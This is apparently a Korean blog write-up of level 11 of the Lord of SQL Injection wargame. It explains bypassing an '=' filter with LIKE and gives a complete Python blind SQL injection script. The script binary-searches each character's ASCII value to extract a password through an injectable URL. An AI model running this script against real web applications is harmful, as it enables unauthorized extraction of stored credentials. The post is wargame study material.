Lord Of Sql injection
LOS 11번 GOLEM
Dork94
2019. 1. 12. 04:38
이번 문제는 기존 연산자 filter + '='에 대한 필터가 적용되어있는 문제였다.
그래서 = 연산자 대신 LIKE를 이용하기로 했다.
가장 큰 차이점은 와일드 카드의 유무에 있는 것 같은데 사용상의 차이점을 제외하고 로직이 정확히 어떤 차이가 있는지는 모르겠다 :)
필요하면 찾아보도록 하지.
A LIKE B에서 A와 B가 같을 경우 True를 반환하고 A LIKE %B%에서는 A에 B가 포함 될 경우 True이다.
예전에 Cookie Project할때 썼던 기억이 있어서 써보니 됐다.
그래서 아래와 같이 pwning_url을 완성한 후 ~~~~ (이때 마찬가지로 &는 %26으로 encoding되어야 한다)
2019/01/12 - [Lord Of Sql injection] - LOS 4번 에서 작성한 내 파이썬 코드를 돌려보니 에러를 뿜뿜하더라.
확인해 보니 Length를 Check 하는 과정에서 '='연산자가 사용되었고 마찬가지로 LIKE로 수정하여 git에 push 하였다.
아래는 수정된 코드다.
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from getpass import getpass
def login(id, pw):
url = 'https://los.rubiya.kr/?login'
data = {'id': id, 'pw': pw}
res = requests.post(url, data=data)
if res.status_code != 200:
print('Please check server status.')
exit(1)
if res.text.find('fail') != -1:
print('Please check your id or pw')
exit(1)
print('Login Success!')
return res.cookies.get_dict()
def get_length(pwning_url, field, add_comment, login_cookies):
length = 1
while True:
print('Trying to get length of {0} by length {1}'.format(field, length))
url = pwning_url + ' length({0}) LIKE {1} {2} '.format(field, length, '%23' if add_comment else '')
res = requests.get(url, cookies=login_cookies)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
for h2 in h2s:
if h2.find('Hello') !=-1:
return length
length += 1
def do_blind_inject(pwning_url, field, add_comment, login_cookies):
pw = str()
length = get_length(pwning_url, field, add_comment,login_cookies)
idx = 1
print('Success to get length {0} is {1} '.format(field, length))
while idx <= length:
print('Trying to get value index[{0}]'.format(idx))
min_ascii = 32
max_ascii = 127
while True:
# password must compare with int in mysql 'a' = 'A' is true
url = pwning_url + ' {2} < ASCII(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else '')
res = requests.get(url, cookies=login_cookies)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
if max_ascii == int((min_ascii + max_ascii) / 2) or min_ascii == int((min_ascii + max_ascii) / 2) :
if not h2s:
pw += chr(int((min_ascii + max_ascii) / 2))
if h2s:
pw += chr(int((min_ascii + max_ascii) / 2 + 1))
break
# if false
if not h2s:
max_ascii = int((min_ascii + max_ascii) / 2)
else:
min_ascii = int((min_ascii + max_ascii) / 2)
idx += 1
parsed_url = urlparse(pwning_url)
origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url)
print('password is {0}'.format(pw))
res = requests.get(origin_url, params={field: pw}, cookies=login_cookies)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
if not h2s:
print('Failed to clear! Plz check logic')
else:
for h2 in h2s:
if h2.find('Clear') != -1:
print('Success to clear this stage!')
break
if __name__ == '__main__':
user_id = input('Enter your los id : ')
# user_pw = getpass('Enter your los pw : ')
user_pw = input('Enter your los pw : ')
login_cookies = login(user_id, user_pw)
pwning_url = input('Enter your pwning_url : ')
# delete comment for query
if pwning_url.find('%23') != -1:
pwning_url = pwning_url[:pwning_url.find('%23')]
field = input('Enter query name : ')
while True:
add_comment = input('Do you want to add comment end of the url[Y/N] ? ')
if add_comment.lower() == 'y' or add_comment.lower() == 'n':
break
do_blind_inject(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
그리고 역시 자동으로 끌리어!